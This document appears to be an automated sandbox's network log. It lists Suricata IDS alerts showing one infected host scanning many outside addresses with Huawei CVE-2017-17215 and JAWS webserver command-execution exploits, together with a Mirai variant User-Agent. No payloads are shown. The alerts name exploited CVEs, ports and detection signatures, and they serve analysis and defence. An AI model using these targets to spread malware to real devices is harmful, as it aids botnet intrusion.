Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41028 -> 156.246.225.38:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48968 -> 197.129.25.151:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:41246 -> 52.185.24.228:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:41246 -> 52.185.24.228:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36728 -> 41.212.96.51:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48226 -> 95.13.149.114:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:48226 -> 95.13.149.114:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:40594 -> 80.99.95.150:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:55492 -> 12.97.179.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:40594 -> 80.99.95.150:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:55492 -> 12.97.179.162:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47592 -> 156.232.252.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56422 -> 197.186.125.49:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:36720 -> 181.156.61.20:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:55456 -> 177.82.8.49:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47426 -> 173.206.97.190:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:55456 -> 177.82.8.49:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:36720 -> 181.156.61.20:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47426 -> 173.206.97.190:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53094 -> 41.229.92.72:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:45246 -> 181.72.225.6:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48016 -> 197.249.19.10:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:45246 -> 181.72.225.6:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37500 -> 41.80.3.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:33992 -> 197.172.1.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:44564 -> 41.156.70.108:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52328 -> 84.59.111.135:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52328 -> 84.59.111.135:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57500 -> 41.229.202.43:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49706 -> 197.159.207.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54460 -> 197.212.217.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34294 -> 41.216.131.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35832 -> 197.157.167.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38138 -> 41.89.103.100:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33892 -> 75.202.255.136:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42116 -> 41.197.212.105:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33892 -> 75.202.255.136:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49594 -> 115.185.195.251:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49594 -> 115.185.195.251:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43928 -> 197.0.255.111:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:34258 -> 139.62.254.107:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:34258 -> 139.62.254.107:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36264 -> 156.52.86.18:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:46086 -> 104.108.17.71:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:46086 -> 104.108.17.71:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56890 -> 156.221.146.36:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56634 -> 148.124.95.174:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56634 -> 148.124.95.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48452 -> 59.197.123.191:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:48452 -> 59.197.123.191:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58820 -> 19.144.149.113:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:58820 -> 19.144.149.113:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53656 -> 116.7.76.23:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37250 -> 171.125.195.174:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:37250 -> 171.125.195.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:41596 -> 204.180.52.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:41596 -> 204.180.52.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:53656 -> 116.7.76.23:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51726 -> 41.89.186.103:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:38276 -> 19.122.225.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:38276 -> 19.122.225.91:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:32782 -> 200.162.125.49:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:40282 -> 122.230.149.114:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:32782 -> 200.162.125.49:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39240 -> 197.74.8.49:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58508 -> 106.129.170.230:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52870 -> 156.118.10.77:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:40282 -> 122.230.149.114:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:58508 -> 106.129.170.230:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:44592 -> 178.15.78.97:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:44592 -> 178.15.78.97:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38764 -> 197.153.167.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35030 -> 41.237.200.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42968 -> 197.109.186.149:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33174 -> 148.218.47.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33174 -> 148.218.47.162:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38780 -> 197.109.31.175:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47786 -> 41.137.229.247:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47786 -> 41.137.229.247:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47320 -> 197.14.66.12:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:38698 -> 206.18.177.12:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:38698 -> 206.18.177.12:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53500 -> 126.88.175.215:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:53500 -> 126.88.175.215:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53966 -> 82.32.93.110:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:53966 -> 82.32.93.110:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:33700 -> 197.133.40.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49810 -> 156.80.186.253:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:43492 -> 203.195.122.98:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35530 -> 156.161.111.247:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:43492 -> 203.195.122.98:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37834 -> 35.149.142.163:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:37834 -> 35.149.142.163:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38760 -> 41.29.6.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:44860 -> 156.66.193.93:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33948 -> 13.108.32.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33948 -> 13.108.32.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:57966 -> 51.139.218.36:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:57966 -> 51.139.218.36:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56388 -> 166.138.238.35:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56388 -> 166.138.238.35:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49602 -> 216.213.46.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49602 -> 216.213.46.231:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:46296 -> 139.225.240.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:41992 -> 25.233.224.38:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:46296 -> 139.225.240.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:43514 -> 107.223.216.240:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37202 -> 67.218.78.191:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:40134 -> 150.170.24.90:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:41992 -> 25.233.224.38:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:42392 -> 98.228.221.176:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:42392 -> 98.228.221.176:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:41766 -> 124.184.212.227:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:37202 -> 67.218.78.191:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:40134 -> 150.170.24.90:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:41766 -> 124.184.212.227:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:43514 -> 107.223.216.240:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49998 -> 62.3.220.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49998 -> 62.3.220.66:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:45680 -> 176.100.12.176:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:45680 -> 176.100.12.176:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58308 -> 95.141.34.86:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:58308 -> 95.141.34.86:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38036 -> 156.87.226.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37782 -> 156.181.117.103:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52372 -> 186.209.63.200:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52372 -> 186.209.63.200:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40210 -> 197.5.14.49:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48546 -> 19.119.179.107:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:48546 -> 19.119.179.107:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49556 -> 32.109.104.6:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49556 -> 32.109.104.6:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33764 -> 9.119.226.185:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33764 -> 9.119.226.185:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52170 -> 156.166.231.243:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47682 -> 222.146.115.153:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:43058 -> 125.144.55.236:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47682 -> 222.146.115.153:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:43058 -> 125.144.55.236:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:59318 -> 162.28.10.148:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:59318 -> 162.28.10.148:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58146 -> 161.215.111.37:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:58146 -> 161.215.111.37:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:43710 -> 155.48.55.41:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:43710 -> 155.48.55.41:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49792 -> 74.137.199.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49792 -> 74.137.199.231:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56370 -> 197.206.55.46:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47526 -> 204.176.132.110:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47526 -> 204.176.132.110:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50816 -> 41.137.88.118:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:36766 -> 143.23.249.38:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:36766 -> 143.23.249.38:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53468 -> 41.90.199.41:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33010 -> 207.26.197.36:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33010 -> 207.26.197.36:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58172 -> 41.106.217.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39476 -> 197.75.231.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:33738 -> 156.129.236.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43732 -> 41.238.27.185:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37248 -> 84.0.101.244:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:37248 -> 84.0.101.244:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58936 -> 41.130.45.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56738 -> 156.106.230.150:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50898 -> 42.77.12.95:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:50898 -> 42.77.12.95:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:45022 -> 32.71.11.101:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:45022 -> 32.71.11.101:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:42064 -> 79.68.93.23:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:42064 -> 79.68.93.23:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53626 -> 17.53.64.207:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:53626 -> 17.53.64.207:80
